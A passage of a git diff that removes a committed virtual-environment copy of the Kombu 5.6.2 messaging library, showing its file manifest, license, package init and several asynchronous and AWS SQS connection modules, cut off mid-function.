-kombu/__pycache__/simple.cpython-314.pyc,, -kombu/abstract.py,sha256=mRsN5Y-LXGjNevlf8_ysr6SbiU02ru8P6ZiSJGk6mtg,4426 -kombu/asynchronous/__init__.py,sha256=q5VdT3oSrKauvdEOD_en2iLcfR3lBrMm8jMFS4pprnc,237 -kombu/asynchronous/__pycache__/__init__.cpython-314.pyc,, -kombu/asynchronous/__pycache__/debug.cpython-314.pyc,, -kombu/asynchronous/__pycache__/hub.cpython-314.pyc,, -kombu/asynchronous/__pycache__/semaphore.cpython-314.pyc,, -kombu/asynchronous/__pycache__/timer.cpython-314.pyc,, -kombu/asynchronous/aws/__init__.py,sha256=gZFiYkKuwK_ILiMOpH9-TnuspPxfRPiXEGqam3t41t0,475 -kombu/asynchronous/aws/__pycache__/__init__.cpython-314.pyc,, -kombu/asynchronous/aws/__pycache__/connection.cpython-314.pyc,, -kombu/asynchronous/aws/__pycache__/ext.cpython-314.pyc,, -kombu/asynchronous/aws/connection.py,sha256=VIf_jdazyvPap9pA7uYcEy5rtJkvcOmGphPrX_LvCPE,8883 -kombu/asynchronous/aws/ext.py,sha256=BvAjZznzUek6wC_N2TMlQywEXd0FejRmb68cj549SKU,866 -kombu/asynchronous/aws/sqs/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -kombu/asynchronous/aws/sqs/__pycache__/__init__.cpython-314.pyc,, -kombu/asynchronous/aws/sqs/__pycache__/connection.cpython-314.pyc,, -kombu/asynchronous/aws/sqs/__pycache__/ext.cpython-314.pyc,, -kombu/asynchronous/aws/sqs/__pycache__/message.cpython-314.pyc,, -kombu/asynchronous/aws/sqs/__pycache__/queue.cpython-314.pyc,, -kombu/asynchronous/aws/sqs/connection.py,sha256=MXmYAXr8rAsDMUFiNjF138S5a8L4U9E4fXDEbliQM0w,11961 -kombu/asynchronous/aws/sqs/ext.py,sha256=nVnGF2IU_FSJDtueJjd6dCY5u3PnuGXLuYek8pPephI,131 -kombu/asynchronous/aws/sqs/message.py,sha256=yLskLPqcLCygeZ_d_oMocP4p1i_d6uPck7xLnPelmHc,892 -kombu/asynchronous/aws/sqs/queue.py,sha256=2fsmr6zfg106UYI0qYSofWxO0lX5eea0zsZ_d0__zO8,4402 -kombu/asynchronous/debug.py,sha256=XhYhhFFwlG9yK_Elb4z_pjr2Cg24q6MulwdjtILtF0g,1773 -kombu/asynchronous/http/__init__.py,sha256=ZPr_ba0ICuLR96ozYlvhWiITqet9nl7INQBdxwymP-8,863 -kombu/asynchronous/http/__pycache__/__init__.cpython-314.pyc,, -kombu/asynchronous/http/__pycache__/base.cpython-314.pyc,, -kombu/asynchronous/http/__pycache__/curl.cpython-314.pyc,, -kombu/asynchronous/http/base.py,sha256=u0MGTD64h9zPiWXeZtR45EEckUqK5RCLBY1FNPbdxNU,9592 -kombu/asynchronous/http/curl.py,sha256=lO2blgsD2VIu3ATft0j9AibKo1R8hHQGMOWd0qilJdE,9863 -kombu/asynchronous/hub.py,sha256=eC4jyujQrlLbpp5qO_3P-gdkgQKWInfn67AnSygi9fc,12091 -kombu/asynchronous/semaphore.py,sha256=3ICR024eyD2nW2PvCD46Qj3-nNM3XE0bj_pc8uEt_-I,3561 -kombu/asynchronous/timer.py,sha256=3UH1OU9buhHhLZx_zXspDsrQHScOvPT4YeSeOY2ZyXo,6922 -kombu/clocks.py,sha256=wIwwZqmdB7yGqffCvN8EETer5I4Zz7hPJrPiP4nco4M,4825 -kombu/common.py,sha256=ODeoFBXdt67nKd-uR6rSz9vn762QygmcBpUA8jEyRZg,14331 -kombu/compat.py,sha256=X8fnUNBkBQZMoCQIHDBZCStodQl7gLiYtoWs2Rne5f0,6752 -kombu/compression.py,sha256=wIpNXCth5tqb8evs7neO7XWwYEGRUIfaMj3AEKh1wMA,2984 -kombu/connection.py,sha256=gFmn2e_2B4LbJI8k-936Vos5TV-TwnwFw8_nzOZS5DE,41693 -kombu/entity.py,sha256=jRtb_IYvnmcsABL9iNhbO20fnfY2Gqsw_3IiZ86sxak,33201 -kombu/exceptions.py,sha256=Yy6ybmZ759fUN4N7zFdokKT6zUu6VJ45w6_CnIzrgX4,2838 -kombu/log.py,sha256=QIkLEeWAyZkPN4M9xcOhsgXg6Ddz62UXzCRKd7ZA2yc,4163 -kombu/matcher.py,sha256=HqaLuAAE1xnLzLt3Nzry5HkQpM0P4LCRz66_EQ1YEk0,4270 -kombu/message.py,sha256=hckN1sFLf5NaIjURqG0Dlq86AdcyA7wnCnS8viBwZc4,8151 -kombu/messaging.py,sha256=PdpJ63IUQwKdxYakw86NrQ0styh04wUntBy0I0oXxsg,25129 -kombu/mixins.py,sha256=Y64EYPiZcuUw-Dimoer9z0rkE4ThN37mHovMo8A2xdk,9701 -kombu/pidbox.py,sha256=lZ_7c0W8YCVZc6GhNnPJ5CKEf1intasqOVOep-kIjos,15340 -kombu/pools.py,sha256=lHRGQWqs-Cve5TLdyPipsxZ5HZXsgdBhRKKjVXYf84I,3975 -kombu/resource.py,sha256=c7uX-oTTCLw6LKK8YbpO25n-3rpO1bUYQO0lg6CwE-g,7379 -kombu/serialization.py,sha256=XAw8C06pIUw2zTxbA8Z0_o1keKjH5ojplU8f0niXg1Y,15446 -kombu/simple.py,sha256=o7fbtfLLi_dfzPLUA-gxGy-Bafhs3bI_1wSQa2L5R_A,5302 -kombu/transport/SLMQ.py,sha256=pkv0-04AOqkIFQCt3iBFt72730y6UPYk-dU2oNspklM,6215 -kombu/transport/SQS.py,sha256=jGDhgR-suqXwYwlP3q5UaxuaKje9OTMbNYMKJKckq3U,44512 -kombu/transport/__init__.py,sha256=yFzjR-V49YZJX5f0lIznAnHwHYh3Qu-3FvjcW2x_mLY,3454 -kombu/transport/__pycache__/SLMQ.cpython-314.pyc,, -kombu/transport/__pycache__/SQS.cpython-314.pyc,, -kombu/transport/__pycache__/__init__.cpython-314.pyc,, -kombu/transport/__pycache__/azureservicebus.cpython-314.pyc,, -kombu/transport/__pycache__/azurestoragequeues.cpython-314.pyc,, -kombu/transport/__pycache__/base.cpython-314.pyc,, -kombu/transport/__pycache__/confluentkafka.cpython-314.pyc,, -kombu/transport/__pycache__/consul.cpython-314.pyc,, -kombu/transport/__pycache__/etcd.cpython-314.pyc,, -kombu/transport/__pycache__/filesystem.cpython-314.pyc,, -kombu/transport/__pycache__/gcpubsub.cpython-314.pyc,, -kombu/transport/__pycache__/librabbitmq.cpython-314.pyc,, -kombu/transport/__pycache__/memory.cpython-314.pyc,, -kombu/transport/__pycache__/mongodb.cpython-314.pyc,, -kombu/transport/__pycache__/native_delayed_delivery.cpython-314.pyc,, -kombu/transport/__pycache__/pyamqp.cpython-314.pyc,, -kombu/transport/__pycache__/pyro.cpython-314.pyc,, -kombu/transport/__pycache__/qpid.cpython-314.pyc,, -kombu/transport/__pycache__/redis.cpython-314.pyc,, -kombu/transport/__pycache__/zookeeper.cpython-314.pyc,, -kombu/transport/azureservicebus.py,sha256=ffjfUQF3D8vDFjYXtKDmOeYgjASuQUKlIuRYJx8zIVM,18298 -kombu/transport/azurestoragequeues.py,sha256=vzM_n__zKoypFyEW_HP68e77KpsliHpnF2t9p_0srXM,8878 -kombu/transport/base.py,sha256=40bBJ1A1fs-gN3CjY1pvul-12qjW057UZAxOvgMWGkU,7687 -kombu/transport/confluentkafka.py,sha256=vJ5-bVv7qn625qDPwrIRKWTkXH6adNzCy4r8ltp4W9Y,12141 -kombu/transport/consul.py,sha256=2d1yiLL62KntKkCgfHJR-6d1zwdiDzxJWpnFa1cbzYs,9424 -kombu/transport/etcd.py,sha256=UGZU_V8YrH-zB1tHexGY1z_xm1Ii-W5ooUOzNem_lx0,8644 -kombu/transport/filesystem.py,sha256=KfOvbyPpzTclJ1HDll3_E_2-h4Ko2ZOS3rT_uST2y6s,10416 -kombu/transport/gcpubsub.py,sha256=2DRCzT99xjorjHgAR0VH68McRrCGVNmnJgFkdWSDuus,27908 -kombu/transport/librabbitmq.py,sha256=Pr_175cETDCw1u48rRnz-AdxsbbH70Z50ieBL8Ecr6w,6022 -kombu/transport/memory.py,sha256=LAbBYfgl_oV10eDos2Nk-O20bgE4Efpksz1u_mmfBIU,2404 -kombu/transport/mongodb.py,sha256=i4rrP2W0Db5TGkI-O_xr-kJCkrH-ItF6o5LLhK0FiM0,16786 -kombu/transport/native_delayed_delivery.py,sha256=7YT3CfyH_cgXL_jgTdP6Yj8OEOn7h5GEjQknQ-nPQiI,4780 -kombu/transport/pyamqp.py,sha256=TRnEe7B43TNjPmK--_Xnsh-t0xlDUu6RmuZl11he5w4,7751 -kombu/transport/pyro.py,sha256=tswCa7awJVeUSmVYlhQfetuKOb7DNQbf2PbU-uVGmxo,5844 -kombu/transport/qpid.py,sha256=O-lm4McRixx6G_OxXAJ4bt5D6DTgsUOxx9KT8TjPB7A,71681 -kombu/transport/redis.py,sha256=J9V_Gs090hDrkOwm2tynw2BygUroj7a_qgYKgc3mZlU,51484 -kombu/transport/sqlalchemy/__init__.py,sha256=reLoRdST0HYeidBc8MWx0nIzSU_drY7HjaUG5ufuAJ4,8009 -kombu/transport/sqlalchemy/__pycache__/__init__.cpython-314.pyc,, -kombu/transport/sqlalchemy/__pycache__/models.cpython-314.pyc,, -kombu/transport/sqlalchemy/models.py,sha256=T4yjxX5vq0D4frlh_zq_Js4ZmGjPC4xJkTHyplccz6c,2302 -kombu/transport/virtual/__init__.py,sha256=LhWwsimWo710ZCE_PhT0x7lQeCVIiHeEzqCPbICr8NE,476 -kombu/transport/virtual/__pycache__/__init__.cpython-314.pyc,, -kombu/transport/virtual/__pycache__/base.cpython-314.pyc,, -kombu/transport/virtual/__pycache__/exchange.cpython-314.pyc,, -kombu/transport/virtual/base.py,sha256=eHXYqu4tzxxTFHH26RIroJpnmF162jXK54Q0EU-VxrM,34294 -kombu/transport/virtual/exchange.py,sha256=XB1GecEEnOtG587Bocdfu-NEVPjBzd58m7L34Wh5EJA,4894 -kombu/transport/zookeeper.py,sha256=B6kuCPYI7h7TOFXTkrrl0y9gVWvckCpBolrOnxxW3IU,6339 -kombu/utils/__init__.py,sha256=ZnP9F4uBDd7PlNrH4I_BwNdh0CuplBRUPyI-hfNdiE0,698 -kombu/utils/__pycache__/__init__.cpython-314.pyc,, -kombu/utils/__pycache__/amq_manager.cpython-314.pyc,, -kombu/utils/__pycache__/collections.cpython-314.pyc,, -kombu/utils/__pycache__/compat.cpython-314.pyc,, -kombu/utils/__pycache__/debug.cpython-314.pyc,, -kombu/utils/__pycache__/div.cpython-314.pyc,, -kombu/utils/__pycache__/encoding.cpython-314.pyc,, -kombu/utils/__pycache__/eventio.cpython-314.pyc,, -kombu/utils/__pycache__/functional.cpython-314.pyc,, -kombu/utils/__pycache__/imports.cpython-314.pyc,, -kombu/utils/__pycache__/json.cpython-314.pyc,, -kombu/utils/__pycache__/limits.cpython-314.pyc,, -kombu/utils/__pycache__/objects.cpython-314.pyc,, -kombu/utils/__pycache__/scheduling.cpython-314.pyc,, -kombu/utils/__pycache__/text.cpython-314.pyc,, -kombu/utils/__pycache__/time.cpython-314.pyc,, -kombu/utils/__pycache__/url.cpython-314.pyc,, -kombu/utils/__pycache__/uuid.cpython-314.pyc,, -kombu/utils/amq_manager.py,sha256=TZ6L5WKUnTKQyPUphYpXktiMQAYDR60hWqLBK4fk8uA,716 -kombu/utils/collections.py,sha256=xTw-ZgVdwTFgQr8nl3Xq3a6bFTo66S9g4pm2WP4SJZ8,942 -kombu/utils/compat.py,sha256=AW4DCD4m2rZvMp5Jxls02FvkOBg899aEHtG0wOIBGZ4,3444 -kombu/utils/debug.py,sha256=gj3rzDrBf8WvRut1T2eelh0flojlMEewt2p2_o49NYE,2049 -kombu/utils/div.py,sha256=NCbWrX78QOCrwkx-QpmExsrwki9R0pUSXOzenn6BQPM,941 -kombu/utils/encoding.py,sha256=QDGlbMTPJs5-1DYeM0AKGw1oGX3go-1lxSUCZncyQnw,2297 -kombu/utils/eventio.py,sha256=eKj_ik3pn9dcLnVP1sDh5IobBbW9amlQU-tLRQ0DCFk,10159 -kombu/utils/functional.py,sha256=HJ2Flv0iVWNO50CgopXj2AC0aRsJahsEJOL-at6klsA,10699 -kombu/utils/imports.py,sha256=U-UHtrkZcD1ySzYriNPfRiJLNSlPSP3otBZHi8epyL0,2089 -kombu/utils/json.py,sha256=tNccmz6FQxqkS49z-UPb7ruWe8Pqijj4mcTr5rCUu6Y,4088 -kombu/utils/limits.py,sha256=ZwcAIydII2HEWU5EJlm9KjFA1MVQ8zKsLHhHDw39uxI,2551 -kombu/utils/objects.py,sha256=F6l_snmM7OadciwR0gQxNnTg3Q-6-MlhJhxIJIbAkiI,2043 -kombu/utils/scheduling.py,sha256=d3324ar2lGEgC0XEgOgZM9JjxgxFULKF4yXnXqgrJ9M,2927 -kombu/utils/text.py,sha256=REO5ey3plFZrfKHcfObvGZ-F1HUqoj8xw7XiD30OVYU,2200 -kombu/utils/time.py,sha256=ne4B7Vw2epL7zLj-2UK_b0zEnLm-e_WOymV4pWlMxHw,272 -kombu/utils/url.py,sha256=qwAny2Zi2aEbIMpNu7dNt_3LIzVuqL-eDXCSjELqtJQ,3909 -kombu/utils/uuid.py,sha256=VLi7HHJZn4BVjtUTLZxZy6RgSOVNDhbLVxAHBhUQHKE,327 diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/WHEEL b/venv/Lib/site-packages/kombu-5.6.2.dist-info/WHEEL deleted file mode 100644 index e7fa31b6f3f78deb1022c1f7927f07d4d16da822..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/licenses/LICENSE b/venv/Lib/site-packages/kombu-5.6.2.dist-info/licenses/LICENSE deleted file mode 100644 index bd7e4e94b37757480a9daa3816e8ed89946205c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/licenses/LICENSE +++ /dev/null @@ -1,26 +0,0 @@ -Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. -Copyright (c) 2012-2014 GoPivotal Inc & contributors. All rights reserved. -Copyright (c) 2009-2012, Ask Solem & contributors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of Ask Solem nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/kombu-5.6.2.dist-info/top_level.txt b/venv/Lib/site-packages/kombu-5.6.2.dist-info/top_level.txt deleted file mode 100644 index 3a8f9697089683ed0ea756ee276d2a9d4ea53c75..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu-5.6.2.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -kombu diff --git a/venv/Lib/site-packages/kombu/__init__.py b/venv/Lib/site-packages/kombu/__init__.py deleted file mode 100644 index 6d754143cc4b645760eaa5a40270fc32cbff5469..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/__init__.py +++ /dev/null @@ -1,115 +0,0 @@ -"""Messaging library for Python.""" - -from __future__ import annotations - -import os -import re -import sys -from collections import namedtuple -from typing import Any, cast - -__version__ = '5.6.2' -__author__ = 'Ask Solem' -__contact__ = 'auvipy@gmail.com' -__homepage__ = 'https://kombu.readthedocs.io' -__docformat__ = 'restructuredtext en' - -# -eof meta- - -version_info_t = namedtuple('version_info_t', ( - 'major', 'minor', 'micro', 'releaselevel', 'serial', -)) - -# bumpversion can only search for {current_version} -# so we have to parse the version here. -_temp = cast(re.Match, re.match( - r'(\d+)\.(\d+).(\d+)(.+)?', __version__)).groups() -VERSION = version_info = version_info_t( - int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') -del _temp -del re - -STATICA_HACK = True -globals()['kcah_acitats'[::-1].upper()] = False -if STATICA_HACK: # pragma: no cover - # This is never executed, but tricks static analyzers (PyDev, PyCharm, - # pylint, etc.) into knowing the types of these symbols, and what - # they contain. - from kombu.common import eventloop, uuid # noqa - from kombu.connection import BrokerConnection, Connection # noqa - from kombu.entity import Exchange, Queue, binding # noqa - from kombu.message import Message # noqa - from kombu.messaging import Consumer, Producer # noqa - from kombu.pools import connections, producers # noqa - from kombu.serialization import disable_insecure_serializers # noqa - from kombu.serialization import enable_insecure_serializers # noqa - from kombu.utils.url import parse_url # noqa - -# Lazy loading. -# - See werkzeug/__init__.py for the rationale behind this. -from types import ModuleType # noqa - -all_by_module = { - 'kombu.connection': ['Connection', 'BrokerConnection'], - 'kombu.entity': ['Exchange', 'Queue', 'binding'], - 'kombu.message': ['Message'], - 'kombu.messaging': ['Consumer', 'Producer'], - 'kombu.pools': ['connections', 'producers'], - 'kombu.utils.url': ['parse_url'], - 'kombu.common': ['eventloop', 'uuid'], - 'kombu.serialization': [ - 'enable_insecure_serializers', - 'disable_insecure_serializers', - ], -} - -object_origins = {} -for _module, items in all_by_module.items(): - for item in items: - object_origins[item] = _module - - -class module(ModuleType): - """Customized Python module.""" - - def __getattr__(self, name: str) -> Any: - if name in object_origins: - module = __import__(object_origins[name], None, None, [name]) - for extra_name in all_by_module[module.__name__]: - setattr(self, extra_name, getattr(module, extra_name)) - return getattr(module, name) - return ModuleType.__getattribute__(self, name) - - def __dir__(self) -> list[str]: - result = list(new_module.__all__) - result.extend(('__file__', '__path__', '__doc__', '__all__', - '__docformat__', '__name__', '__path__', 'VERSION', - '__package__', '__version__', '__author__', - '__contact__', '__homepage__', '__docformat__')) - return result - - -# keep a reference to this module so that it's not garbage collected -old_module = sys.modules[__name__] - -new_module = sys.modules[__name__] = module(__name__) -new_module.__dict__.update({ - '__file__': __file__, - '__path__': __path__, - '__doc__': __doc__, - '__all__': tuple(object_origins), - '__version__': __version__, - '__author__': __author__, - '__contact__': __contact__, - '__homepage__': __homepage__, - '__docformat__': __docformat__, - '__package__': __package__, - 'version_info_t': version_info_t, - 'version_info': version_info, - 'VERSION': VERSION -}) - -if os.environ.get('KOMBU_LOG_DEBUG'): # pragma: no cover - os.environ.update(KOMBU_LOG_CHANNEL='1', KOMBU_LOG_CONNECTION='1') - from .utils import debug - debug.setup_logging() diff --git a/venv/Lib/site-packages/kombu/abstract.py b/venv/Lib/site-packages/kombu/abstract.py deleted file mode 100644 index 6a689fe94a3eb77361b87ed738cd714a37fa9aa1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/abstract.py +++ /dev/null @@ -1,143 +0,0 @@ -"""Object utilities.""" - -from __future__ import annotations - -from copy import copy -from typing import TYPE_CHECKING, Any, Callable, TypeVar - -from .connection import maybe_channel -from .exceptions import NotBoundError -from .utils.functional import ChannelPromise - -if TYPE_CHECKING: - from kombu.connection import Connection - from kombu.transport.virtual import Channel - - -__all__ = ('Object', 'MaybeChannelBound') - -_T = TypeVar("_T") -_ObjectType = TypeVar("_ObjectType", bound="Object") -_MaybeChannelBoundType = TypeVar( - "_MaybeChannelBoundType", bound="MaybeChannelBound" -) - - -def unpickle_dict( - cls: type[_ObjectType], kwargs: dict[str, Any] -) -> _ObjectType: - return cls(**kwargs) - - -def _any(v: _T) -> _T: - return v - - -class Object: - """Common base class. - - Supports automatic kwargs->attributes handling, and cloning. - """ - - attrs: tuple[tuple[str, Any], ...] = () - - def __init__(self, *args: Any, **kwargs: Any) -> None: - for name, type_ in self.attrs: - value = kwargs.get(name) - if value is not None: - setattr(self, name, (type_ or _any)(value)) - else: - try: - getattr(self, name) - except AttributeError: - setattr(self, name, None) - - def as_dict(self, recurse: bool = False) -> dict[str, Any]: - def f(obj: Any, type: Callable[[Any], Any] | None = None) -> Any: - if recurse and isinstance(obj, Object): - return obj.as_dict(recurse=True) - return type(obj) if type and obj is not None else obj - return { - attr: f(getattr(self, attr), type) for attr, type in self.attrs - } - - def __reduce__(self: _ObjectType) -> tuple[ - Callable[[type[_ObjectType], dict[str, Any]], _ObjectType], - tuple[type[_ObjectType], dict[str, Any]] - ]: - return unpickle_dict, (self.__class__, self.as_dict()) - - def __copy__(self: _ObjectType) -> _ObjectType: - return self.__class__(**self.as_dict()) - - -class MaybeChannelBound(Object): - """Mixin for classes that can be bound to an AMQP channel.""" - - _channel: Channel | None = None - _is_bound = False - - #: Defines whether maybe_declare can skip declaring this entity twice. - can_cache_declaration = False - - def __call__( - self: _MaybeChannelBoundType, channel: (Channel | Connection) - ) -> _MaybeChannelBoundType: - """`self(channel) -> self.bind(channel)`.""" - return self.bind(channel) - - def bind( - self: _MaybeChannelBoundType, channel: (Channel | Connection) - ) -> _MaybeChannelBoundType: - """Create copy of the instance that is bound to a channel.""" - return copy(self).maybe_bind(channel) - - def maybe_bind( - self: _MaybeChannelBoundType, channel: (Channel | Connection) - ) -> _MaybeChannelBoundType: - """Bind instance to channel if not already bound.""" - if not self.is_bound and channel: - self._channel = maybe_channel(channel) - self.when_bound() - self._is_bound = True - return self - - def revive(self, channel: Channel) -> None: - """Revive channel after the connection has been re-established. - - Used by :meth:`~kombu.Connection.ensure`. - - """ - if self.is_bound: - self._channel = channel - self.when_bound() - - def when_bound(self) -> None: - """Callback called when the class is bound.""" - - def __repr__(self) -> str: - return self._repr_entity(type(self).__name__) - - def _repr_entity(self, item: str = '') -> str: - item = item or type(self).__name__ - if self.is_bound: - return '<{} bound to chan:{}>'.format( - item or type(self).__name__, self.channel.channel_id) - return f'' - - @property - def is_bound(self) -> bool: - """Flag set if the channel is bound.""" - return self._is_bound and self._channel is not None - - @property - def channel(self) -> Channel: - """Current channel if the object is bound.""" - channel = self._channel - if channel is None: - raise NotBoundError( - "Can't call method on {} not bound to a channel".format( - type(self).__name__)) - if isinstance(channel, ChannelPromise): - channel = self._channel = channel() - return channel diff --git a/venv/Lib/site-packages/kombu/asynchronous/__init__.py b/venv/Lib/site-packages/kombu/asynchronous/__init__.py deleted file mode 100644 index 5306075354e5905ffeb21067d65e708f40bdcef7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -"""Event loop.""" - -from __future__ import annotations - -from kombu.utils.eventio import ERR, READ, WRITE - -from .hub import Hub, get_event_loop, set_event_loop - -__all__ = ('READ', 'WRITE', 'ERR', 'Hub', 'get_event_loop', 'set_event_loop') diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/__init__.py b/venv/Lib/site-packages/kombu/asynchronous/aws/__init__.py deleted file mode 100644 index cbeb050fa0a0784b845dcbc96782c3ca57130990..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/__init__.py +++ /dev/null @@ -1,17 +0,0 @@ -from __future__ import annotations - -from typing import Any - -from kombu.asynchronous.aws.sqs.connection import AsyncSQSConnection - - -def connect_sqs( - aws_access_key_id: str | None = None, - aws_secret_access_key: str | None = None, - **kwargs: Any -) -> AsyncSQSConnection: - """Return async connection to Amazon SQS.""" - from .sqs.connection import AsyncSQSConnection - return AsyncSQSConnection( - aws_access_key_id, aws_secret_access_key, **kwargs - ) diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/connection.py b/venv/Lib/site-packages/kombu/asynchronous/aws/connection.py deleted file mode 100644 index c6cc98dfdbe29bc62c443ab8a8168acc52a518ff..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/connection.py +++ /dev/null @@ -1,278 +0,0 @@ -"""Amazon AWS Connection.""" - -from __future__ import annotations - -from email import message_from_bytes -from email.mime.message import MIMEMessage - -from vine import promise, transform - -from kombu.asynchronous.aws.ext import AWSRequest, get_cert_path, get_response -from kombu.asynchronous.http import Headers, Request, get_client - - -def message_from_headers(hdr): - bs = "\r\n".join("{}: {}".format(*h) for h in hdr) - return message_from_bytes(bs.encode()) - - -__all__ = ( - 'AsyncHTTPSConnection', 'AsyncConnection', -) - - -class AsyncHTTPResponse: - """Async HTTP Response.""" - - def __init__(self, response): - self.response = response - self._msg = None - self.version = 10 - - def read(self, *args, **kwargs): - return self.response.body - - def getheader(self, name, default=None): - return self.response.headers.get(name, default) - - def getheaders(self): - return list(self.response.headers.items()) - - @property - def msg(self): - if self._msg is None: - self._msg = MIMEMessage(message_from_headers(self.getheaders())) - return self._msg - - @property - def status(self): - return self.response.code - - @property - def reason(self): - if self.response.error: - return self.response.error.message - return '' - - def __repr__(self): - return repr(self.response) - - -class AsyncHTTPSConnection: - """Async HTTP Connection.""" - - Request = Request - Response = AsyncHTTPResponse - - method = 'GET' - path = '/' - body = None - default_ports = {'http': 80, 'https': 443} - - def __init__(self, strict=None, timeout=20.0, http_client=None): - self.headers = [] - self.timeout = timeout - self.strict = strict - self.http_client = http_client or get_client() - - def request(self, method, path, body=None, headers=None): - self.path = path - self.method = method - if body is not None: - try: - read = body.read - except AttributeError: - self.body = body - else: - self.body = read() - if headers is not None: - self.headers.extend(list(headers.items())) - - def getrequest(self): - headers = Headers(self.headers) - return self.Request(self.path, method=self.method, headers=headers, - body=self.body, connect_timeout=self.timeout, - request_timeout=self.timeout, - validate_cert=True, ca_certs=get_cert_path(True)) - - def getresponse(self, callback=None): - request = self.getrequest() - request.then(transform(self.Response, callback)) - return self.http_client.add_request(request) - - def set_debuglevel(self, level): - pass - - def connect(self): - pass - - def close(self): - pass - - def putrequest(self, method, path): - self.method = method - self.path = path - - def putheader(self, header, value): - self.headers.append((header, value)) - - def endheaders(self): - pass - - def send(self, data): - if self.body: - self.body += data - else: - self.body = data - - def __repr__(self): - return f'' - - -class AsyncConnection: - """Async AWS Connection.""" - - def __init__(self, sqs_connection, http_client=None, **kwargs): - self.sqs_connection = sqs_connection - self._httpclient = http_client or get_client() - - def get_http_connection(self): - return AsyncHTTPSConnection(http_client=self._httpclient) - - def _mexe(self, request, sender=None, callback=None): - callback = callback or promise() - conn = self.get_http_connection() - - if callable(sender): - sender(conn, request.method, request.path, request.body, - request.headers, callback) - else: - conn.request(request.method, request.url, - request.body, request.headers) - conn.getresponse(callback=callback) - return callback - - -class AsyncAWSQueryConnection(AsyncConnection): - """Async AWS Query Connection.""" - - STATUS_CODE_OK = 200 - STATUS_CODE_REQUEST_TIMEOUT = 408 - STATUS_CODE_NETWORK_CONNECT_TIMEOUT_ERROR = 599 - STATUS_CODE_INTERNAL_ERROR = 500 - STATUS_CODE_BAD_GATEWAY = 502 - STATUS_CODE_SERVICE_UNAVAILABLE_ERROR = 503 - STATUS_CODE_GATEWAY_TIMEOUT = 504 - - STATUS_CODES_SERVER_ERRORS = ( - STATUS_CODE_INTERNAL_ERROR, - STATUS_CODE_BAD_GATEWAY, - STATUS_CODE_SERVICE_UNAVAILABLE_ERROR - ) - - STATUS_CODES_TIMEOUT = ( - STATUS_CODE_REQUEST_TIMEOUT, - STATUS_CODE_NETWORK_CONNECT_TIMEOUT_ERROR, - STATUS_CODE_GATEWAY_TIMEOUT - ) - - def __init__(self, sqs_connection, http_client=None, - http_client_params=None, **kwargs): - if not http_client_params: - http_client_params = {} - super().__init__(sqs_connection, http_client, - **http_client_params) - - def make_request(self, operation, params_, path, verb, callback=None, protocol_params=None): - params = params_.copy() - params.update((protocol_params or {}).get('query', {})) - if operation: - params['Action'] = operation - signer = self.sqs_connection._request_signer - - # defaults for non-get - signing_type = 'standard' - param_payload = {'data': params} - if verb.lower() == 'get': - # query-based opts - signing_type = 'presign-url' - param_payload = {'params': params} - - request = AWSRequest(method=verb, url=path, **param_payload) - signer.sign(operation, request, signing_type=signing_type) - prepared_request = request.prepare() - - return self._mexe(prepared_request, callback=callback) - - def get_list(self, operation, params, markers, path='/', parent=None, verb='POST', callback=None, - protocol_params=None): - return self.make_request( - operation, params, path, verb, - callback=transform( - self._on_list_ready, callback, parent or self, markers, - operation - ), - protocol_params=protocol_params, - ) - - def get_object(self, operation, params, path='/', parent=None, verb='GET', callback=None, protocol_params=None): - return self.make_request( - operation, params, path, verb, - callback=transform( - self._on_obj_ready, callback, parent or self, operation - ), - protocol_params=protocol_params, - ) - - def get_status(self, operation, params, path='/', parent=None, verb='GET', callback=None, protocol_params=None): - return self.make_request( - operation, params, path, verb, - callback=transform( - self._on_status_ready, callback, parent or self, operation - ), - protocol_params=protocol_params, - ) - - def _on_list_ready(self, parent, markers, operation, response): - service_model = self.sqs_connection.meta.service_model - if response.status == self.STATUS_CODE_OK: - _, parsed = get_response( - 